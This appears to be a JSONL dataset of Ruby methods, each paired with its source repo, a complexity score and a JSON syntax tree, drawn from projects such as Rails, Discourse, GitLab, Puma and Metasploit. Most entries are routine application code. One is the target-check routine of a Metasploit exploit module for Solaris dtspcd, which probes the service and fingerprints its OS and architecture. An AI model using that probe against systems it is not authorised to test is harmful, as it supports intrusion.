+{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server_ssl.rb","start_line":216,"raw_source":"def test_invalid_cert\n assert_raises(Puma::MiniSSL::SSLError) do\n start_server { |ctx| ctx.cert = __FILE__ }\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invalid_cert\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"MiniSSL\"]},\"SSLError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_server\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ctx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"cert=\",{\"type\":\"str\",\"children\":[\"(method)\"]}]}]}]}]}","id":"9b3f8826-73b6-44aa-bc9c-1012e13e9c1e"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/chewy/index_extensions.rb","start_line":5,"raw_source":"def index_preset(base_options = {})\n case ENV['ES_PRESET'].presence\n when 'single_node_cluster', nil\n base_options.merge(number_of_replicas: 0)\n when 'small_cluster'\n base_options.merge(number_of_replicas: 1)\n when 'large_cluster'\n base_options.merge(number_of_replicas: 1, number_of_shards: (base_options[:number_of_shards] || 1) * 2)\n end\n end","complexity_score":17.33,"ast_json":"{\"type\":\"def\",\"children\":[\"index_preset\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"base_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ES_PRESET\"]}]},\"presence\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"single_node_cluster\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_replicas\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"small_cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_replicas\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"large_cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_replicas\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_shards\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_of_shards\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},null]}]}","id":"a2f93682-65ad-447b-a979-9c254f96f461"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_plugin_serializer.rb","start_line":35,"raw_source":"def about\n object.metadata.about\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"about\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"metadata\"]},\"about\"]}]}","id":"d6a8771f-44a4-4d14-b845-30f1aeb79bc7"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/db/migrate/20250929105219_create_companies.rb","start_line":2,"raw_source":"def change\n create_table :companies do |t|\n t.string :name, null: false\n t.string :domain\n t.text :description\n t.references :account, null: false\n\n t.timestamps\n end\n add_index :companies, [:name, :account_id]\n add_index :companies, [:domain, :account_id]\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"companies\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"companies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"companies\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]}]}]}","id":"b01c03d2-b0cb-44d4-9c20-7a880f7aa94f"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/random_with_offset.rb","start_line":63,"raw_source":"def on_send(node)\n return unless node.receiver\n return unless integer_op_rand?(node) || rand_op_integer?(node) || rand_modified?(node)\n\n add_offense(node) { |corrector| autocorrect(corrector, node) }\n end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integer_op_rand?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"rand_op_integer?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"rand_modified?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"6e1c3047-58d0-4df1-b7a8-144a5c38e9e3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/import_export/relation_import_worker.rb","start_line":84,"raw_source":"def process_import\n tree_restorer = Gitlab::ImportExport::Project::RelationTreeRestorer.new(\n user: current_user,\n shared: project.import_export_shared,\n relation_reader: relation_reader,\n object_builder: Gitlab::ImportExport::Project::ObjectBuilder,\n members_mapper: members_mapper,\n relation_factory: Gitlab::ImportExport::Project::RelationFactory,\n reader: Gitlab::ImportExport::Reader.new(shared: project.import_export_shared),\n importable: project,\n importable_attributes: {},\n importable_path: 'project',\n skip_on_duplicate_iid: true\n )\n\n tree_restorer.restore_single_relation(tracker.relation, extra_track_scope: { tracker_id: tracker.id })\n end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tree_restorer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Project\"]},\"RelationTreeRestorer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_export_shared\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_reader\"]},{\"type\":\"send\",\"children\":[null,\"relation_reader\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_builder\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Project\"]},\"ObjectBuilder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members_mapper\"]},{\"type\":\"send\",\"children\":[null,\"members_mapper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_factory\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Project\"]},\"RelationFactory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reader\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Reader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_export_shared\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable_attributes\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable_path\"]},{\"type\":\"str\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_on_duplicate_iid\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree_restorer\"]},\"restore_single_relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"relation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_track_scope\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tracker_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"id\"]}]}]}]}]}]}]}]}","id":"70f9242e-bb00-4c8d-875b-fc1fd7c4c260"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/bofloader/bofloader.rb","start_line":89,"raw_source":"def reset\n @buffer = ''\n @size = 0\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@buffer\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"4e0b4b42-37d6-40e4-a2d3-ad0eaf28addc"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/jobs/regular/create_ai_reply.rb","start_line":7,"raw_source":"def execute(args)\n return unless bot_user = User.find_by(id: args[:bot_user_id])\n return unless post = Post.includes(:topic).find_by(id: args[:post_id])\n persona_id = args[:persona_id]\n\n begin\n persona = DiscourseAi::Personas::Persona.find_by(user: post.user, id: persona_id)\n raise DiscourseAi::Personas::Bot::BOT_NOT_FOUND if persona.nil?\n\n bot = DiscourseAi::Personas::Bot.as(bot_user, persona: persona.new)\n\n DiscourseAi::AiBot::Playground.new(bot).reply_to(post, feature_name: \"bot\")\n rescue DiscourseAi::Personas::Bot::BOT_NOT_FOUND\n Rails.logger.warn(\n \"Bot not found for post #{post.id} - perhaps persona was deleted or bot was disabled\",\n )\n end\n end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bot_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bot_user_id\"]}]}]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"topic\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"persona_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"persona_id\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"persona\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Persona\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"persona_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"BOT_NOT_FOUND\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"bot\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"as\",{\"type\":\"lvar\",\"children\":[\"bot_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"persona\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiBot\"]},\"Playground\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bot\"]}]},\"reply_to\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_name\"]},{\"type\":\"str\",\"children\":[\"bot\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"BOT_NOT_FOUND\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bot not found for post \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" - perhaps persona was deleted or bot was disabled\"]}]}]}]},null]}]}]}]}","id":"7853db7f-8c14-4613-aad4-04b517546ada"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250124130906_create_duo_workflow_checkpoint_write_project_fkey.rb","start_line":14,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :duo_workflows_checkpoint_writes, column: :project_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"duo_workflows_checkpoint_writes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"6d1a284e-85c5-40ad-9c3a-d43c82891157"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":33,"raw_source":"def test_reload_expires_cache_of_found_items\n all_posts = Topic.base\n all_posts.to_a\n\n new_post = Topic.create!\n assert_not_includes all_posts, new_post\n assert_includes all_posts.reload, new_post\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reload_expires_cache_of_found_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_posts\"]},\"to_a\"]},{\"type\":\"lvasgn\",\"children\":[\"new_post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"all_posts\"]},{\"type\":\"lvar\",\"children\":[\"new_post\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_posts\"]},\"reload\"]},{\"type\":\"lvar\",\"children\":[\"new_post\"]}]}]}]}","id":"21c11057-d09b-4f57-8d29-712be75b9952"}
+{"repo_name":"puma","file_path":"./repos/puma/test/helpers/tmp_path.rb","start_line":39,"raw_source":"def delete_tmp_path(path)\n File.unlink(path)\n rescue Errno::ENOENT\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_tmp_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},null,null]},null]}]}","id":"bc485a80-95fb-4cb4-825a-809960c9e724"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/solaris/dtspcd/heap_noir.rb","start_line":92,"raw_source":"def check\n spc_connect\n spc_write(spc_register('root', \"\\x00\"), 4)\n host, os, ver, arch = spc_read.gsub(\"\\x00\", '').split(':')\n\n return CheckCode::Safe unless host\n\n spc_write('', 2)\n\n return CheckCode::Safe(\"Detected dtspcd running #{os} v#{ver} on #{arch} hardware. Target host architecture #{arch} is not sparc.\") unless arch =~ /sparc/i\n\n CheckCode::Detected(\"Detected dtspcd running #{os} v#{ver} on #{arch} hardware.\")\n end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spc_connect\"]},{\"type\":\"send\",\"children\":[null,\"spc_write\",{\"type\":\"send\",\"children\":[null,\"spc_register\",{\"type\":\"str\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\"]},{\"type\":\"lvasgn\",\"children\":[\"os\"]},{\"type\":\"lvasgn\",\"children\":[\"ver\"]},{\"type\":\"lvasgn\",\"children\":[\"arch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spc_read\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\u0000\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"spc_write\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sparc\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected dtspcd running \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"str\",\"children\":[\" v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]}]},{\"type\":\"str\",\"children\":[\" on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" hardware. Target host architecture \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" is not sparc.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected dtspcd running \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]},{\"type\":\"str\",\"children\":[\" v\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]}]},{\"type\":\"str\",\"children\":[\" on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" hardware.\"]}]}]}]}]}","id":"2d41bcda-4a9d-4b22-93fb-e25d676fa531"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1981,"raw_source":"def create_user_option\n UserOption.create!(user_id: id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_user_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserOption\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"e8d380d4-4183-4c77-bd84-c15e9e934feb"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/ssl.rb","start_line":107,"raw_source":"def normalize_hsts_options(options)\n case options\n # Explicitly disabling HSTS clears the existing setting from browsers by setting\n # expiry to 0.\n when false\n self.class.default_hsts_options.merge(expires: 0)\n # Default to enabled, with default options.\n when nil, true\n self.class.default_hsts_options\n else\n self.class.default_hsts_options.merge(options)\n end\n end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_hsts_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"when\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_hsts_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_hsts_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default_hsts_options\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"ef3b102c-a0d6-4094-831f-8b4c6e5396ab"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/message_templates/hook_execution_service.rb","start_line":39,"raw_source":"def should_send_greeting?\n # should not send if its a tweet message\n return false if conversation.tweet?\n\n first_message_from_contact? && inbox.greeting_enabled? && inbox.greeting_message.present?\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_send_greeting?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"tweet?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_message_from_contact?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"greeting_enabled?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"greeting_message\"]},\"present?\"]}]}]}]}","id":"a715b208-f35f-4b9b-ac3b-2ea598620071"}
